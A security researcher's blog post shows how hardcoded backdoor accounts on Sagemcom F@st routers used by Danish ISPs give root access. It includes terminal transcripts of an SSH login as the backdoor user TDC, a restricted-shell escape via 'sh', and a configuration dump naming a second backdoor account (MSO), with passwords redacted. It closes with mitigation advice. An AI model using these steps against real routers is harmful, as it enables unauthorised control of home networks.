In this post I explain how a previous command injection vulnerability in one of Denmark’s ISP routers lead to find two backdoor accounts for Web interface and SSH that can affect up to 450 routers.
- Previous vulnerability
- Root LAN access
- From LAN to WAN
1. Previous vulnerability
In the summer of 2019 I found an article on how to get root access on the SagemcomF@st router which is commonly used in Denmark by various ISPs. The vulnerability back then was a command injection in one of the functions available for the support account (a.k.a a backdoor account hardcoded in the configuration of the routers).
A few months later, logging in with the support account does not work anymore (?) and the command injection is fixed.
2. Root LAN access
Knowing the poor security patches usually applied to the routers, I started to look for another command injection exploit by hammering the input fields in the web interface using my admin account. But without success.
Taking a different approach I scanned the router using nmap multiple times, with different flags and speed – still nothing juicy.
Looking through the web interface options, I was intrigued by the Firewall menu. There is no option to disable it, but it is possible to add exceptions for inbound and outbound traffic.
Incoming IP Filtering Setup
When the firewall is enabled on a WAN or LAN interface, all incoming IP traffic is BLOCKED. However, some IP traffic can be ACCEPTED by setting up filters. Choose Add or Remove to configure incoming IP filters.
“Nice!” Maybe there are other services exposed that I’m unable to see due to the firewall. So I added my local IP range to the exceptions, scanned it again and discovered port 22 SSH open.
Trying root:root, root:<empty>, web interface admin account, support:support didn’t get me anywhere, nor did googling for default credentials. In the end I thought about the previous web interface backdoor account. That one worked and it dropped me in a limited shell. WoopWoop.
root@kali:~# ssh TDC@192.168.0.1 TDC@192.168.0.1's password: BCM9ffffffff Broadband Router > ? ? arp brctl cat debugcli df dhcpserver dhcpv6s dns dslite dumpcfg dumpeid dumplock dumpmdm dumpsysinfo echo encodeb64 ethstats exit exitOnIdle help ieee1905 ifconfig ipprovmode kill lagctl lan lanhosts logdest loglevel logout mcpctl mdm mdmfiledecode meminfo passwd ping pmip primarybridgemode ps pseudobridgemode psp quit reboot restoredefault rip route save setacsurl setmac sntp swversion sysinfo telnet tftp tr69 tunnel uptime wifistats wlctl To search for a command, type help followed by part of the command name. Help will return all commands that include that string. > CLI exiting now. Bye bye. Have a nice day!!! Connection to 192.168.0.1 closed.
Now this is great, and there are alot of functions but it’s still a limited shell:
> cd / consoled:error:743.518:processInput:415:unrecognized command cd / > ls -la consoled:error:745.085:processInput:415:unrecognized command ls -la > pwd consoled:error:753.634:processInput:415:unrecognized command pwd > ls /tmp consoled:error:759.963:processInput:415:unrecognized command ls /tmp
We can see as well why the command injection was no successful anymore from the web interface, since most of the special characters used for injection are blocked:
> cat /etc/passwd; cat /etc/passwd consoled:error:397.024:cli_processCliCmd:615:Invalid chararcter |&;()<>`$ in the command
Initially I thought I could use some of the available functions to spawn another shell. Than I saw the “telnet” option which would enable telnet access for LAN and/or WAN. I tried that one first, but without success since it couldn’t find the iptables binary.
> telnet help Telnet --- set network permission for Telnet 4 options: 1 -- LAN ----------- allow LAN access for Telnet 2 -- WAN ----------- allow WAN access for Telnet 3 -- LAN or WAN -----allow WAN and LAN access for Telnet 4 -- Disabled -------no access for Telnet Sample: telnet LAN -- allow LAN access for Telnet telnet 4 -- block LAN WAN access for Telnet telnet 1 sh: iptables: command not found sh: ip6tables: command not found sh: iptables: command not found sh: ip6tables: command not found sh: iptables: command not found sh: ip6tables: command not found sh: iptables: command not found sh: ip6tables: command not found Telnet networkAccess changed to LAN, reboot to take effect !
However, in the end escaping the limited shell was easier than that though:
root@kali:~# ssh TDC@192.168.0.1 TDC@192.168.0.1's password: BCM9ffffffff Broadband Router > sh sh-3.2# bash bash-3.2# id uid=0(root) gid=0(root) groups=0(root)
3. From LAN to WAN
Getting root access from LAN knowing the admin account is nice, but it’s still very limited. You have to be on the same network, and know the account that will allow you to disable to firewall. Fortunately, the option to dump configuration un-encrypted which was previously available in this blog post, is still available from the limited shell that we got
> help .. dumpmdm ..
Searching for X_BROADCOM_COM_LoginCfg we get what we need: a backdoor account (SupportUserName MSO) for the web interface which allows us to disable the firewall and use the previously found SSH account.
<X_BROADCOM_COM_LoginCfg> <RootUserName>root</RootUserName> <RootPassword>XXX</RootPassword> <TelnetUserName>TDC</TelnetUserName> <TelnetPassword>XXX</TelnetPassword> <TelnetPasswordHash>XXX</TelnetPasswordHash> <SshUserName>TDC</SshUserName> <SshPassword>XXX</SshPassword> <AdminUserName>admin</AdminUserName> <AdminPassword>XXX</AdminPassword> <AdminPasswordHash>XXX</AdminPasswordHash> <SupportUserName>MSO</SupportUserName> <SupportPassword>XXX</SupportPassword> <SupportPasswordHash>XXX</SupportPasswordHash> <UserUserName>viewonly</UserUserName> <UserPassword>XXX</UserPassword> <UserPasswordHash>XXX</UserPasswordHash> <CmRemoteUserName>MSO</CmRemoteUserName> <CmRemotePassword>XXX</CmRemotePassword> <CmRemotePasswordHash>XXX</CmRemotePasswordHash> <HttpPasswordOfTheDaySeed>XXX</HttpPasswordOfTheDaySeed> </X_BROADCOM_COM_LoginCfg>
A quick search on Shodan reveales at least 450 routers that may be affected:
Don’t expose the web interface to the internet. If you don’t know how to do that, go to your default gateway management interface (mine is http://192.168.0.1) and log in with the account printed on the router (something like admin: ABC123EDF).
Once logged in, go to advanced menu and ensure that the Remote Config Management is NOT enabled:
It could be that some ISPs that push updates will overwrite this option, so checking it from time to time seems like a good idea.